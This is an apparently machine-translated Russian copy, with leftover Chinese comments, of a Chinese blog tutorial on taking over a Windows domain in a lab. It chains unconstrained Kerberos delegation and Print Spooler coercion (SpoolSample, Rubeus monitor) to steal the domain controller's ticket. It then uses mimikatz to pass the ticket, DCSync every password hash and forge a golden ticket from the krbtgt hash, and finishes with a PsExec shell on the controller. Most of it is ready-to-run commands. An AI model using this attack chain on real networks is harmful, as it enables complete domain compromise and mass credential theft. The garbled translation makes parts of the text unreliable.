Использование необязывающего делегирования + службы принтера Spooler для создания золотых билетов для атаки на контроллеры домена

 предисловие

После предыдущей статьи ->  Проникновение в домен — принцип и использование атаки без ограничений делегирования атаки . В реальном бою для администратора довольно безвкусно активно подключаться к простому неограниченному делегированию. Таким образом , можно использовать неограниченное делегирование + службу принтера очереди печати , чтобы принудительно подключить указанный хост.

Принцип эксплуатации: Windows打印系统远程协议 (MS-RPRN)старый, но включенный по умолчанию метод в Exploitation, в котором пользователь домена может использовать MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)метод, чтобы заставить любой компьютер, на котором запущена служба диспетчера очереди, аутентифицировать выбранную злоумышленником цель через Kerberos или NTLM .

Примечание. Служба splooer запущена по умолчанию.

Процесс атаки

  • Домен: test.lab
  • Контроллер домена: 192.168.10.2 win2012, учетная запись администратора, имя хоста DC
  • Хост домена: 192.168.10.5 win7, учетная запись yuwin7, имя хоста admin-PC

Злоумышленник управляет учетной записью узла с включенным неограниченным делегированием.Когда контроллер домена открывает службу диспетчера очереди печати, злоумышленник может активно запрашивать у контроллера домена доступ к серверу узла, а затем получать TGT контроллера домена.

  • Отключить хост (учетную запись хоста) с неограниченным делегированием Kerberos
  • Найдите контроллер домена, на котором запущена служба диспетчера очереди печати (автозапуск и системные привилегии по умолчанию).
  • Используйте режим монитора Rubeus от имени администратора

Рубеус слушает

Запустите Rubeus от имени локального администратора на win7

Rubeus.exe monitor /interval:1 /filteruser:DC$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
复制代码

Используйте службу печати для принудительной проверки подлинности контроллера домена на локальном компьютере.

Выполнить следующим образом

spoolsample.exe DC admin-PC
# 表示利用打印服务强制让域控机向admin-PC主机验证身份,这样我们的Rubeus就可以监听到TGS了
复制代码

На данный момент Rubeus получил TGT

Извлечь ТГТ

Давайте сначала скопируем base64 TGT, отслеживаемого Rubeus, где к каждой строке добавляется новая строка, мы используем этот скрипт python для удаления символа новой строки каждой строки.

data=""
for line in open('1.txt','r'):
    data += line.strip('\n')
print(data)
with open("2.txt",'a') as f:
    f.write(data)
print('保存完毕')
复制代码

Затем используйте его напрямую, чтобы перейти к powershellнормальномуTGT

[IO.File]::WriteAllBytes("绝对路径\ticket.kirbi", [Convert]::FromBase64String("TGT"))
复制代码

Вставьте билет TGT в текущий сеанс и экспортируйте хэш всех пользователей в контроллере домена.

запустить mimikatz от имени пользователя домена

kerberos::ptt ticket.kirbi
lsadump::dcsync /domain:test.lab /all /csv
复制代码

Обратите внимание, что полученный нами TGT-тикет не может считаться золотым билетом, потому что полученные нами полномочия являются только локальными полномочиями управления контроллера домена, поэтому мы не можем подключиться к контроллеру домена, но мы действительно можем получить хеш. всех пользователей, чтобы мы могли сделать настоящий Золотой билет~

делать золотые ноты

Поскольку есть пользователь krbtgt и его хэш или значение NTML, вы можете использовать его для создания золотого билета.

  1. Получить сторону этой учетной записи 

Теперь выполните whoami /user локально, обратите внимание, что цифры, стоящие за разрешениями учетной записи, не нужны.

  1. выставлять счета
mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-587556175-550635965-2643831430 /krbtgt:6412c19ffa5a50cd63fe27917ef83f54 /user:administrator /ticket:ntlm.kirbi" "exit"
复制代码

  1. Ввести билет

mimikatz "kerberos::purge" "kerberos::ptt ntlm.kirbi"

Теперь вы можете подключиться к контроллеру домена

 Мы также можем использовать psexecbounce напрямую shell, потому что вводится золотой билет, поэтому имя пользователя и пароль не требуются.

PsExec64.exe \dc cmd -accepteula
复制代码

рекомендация

отjuejin.im/post/7085286428300541983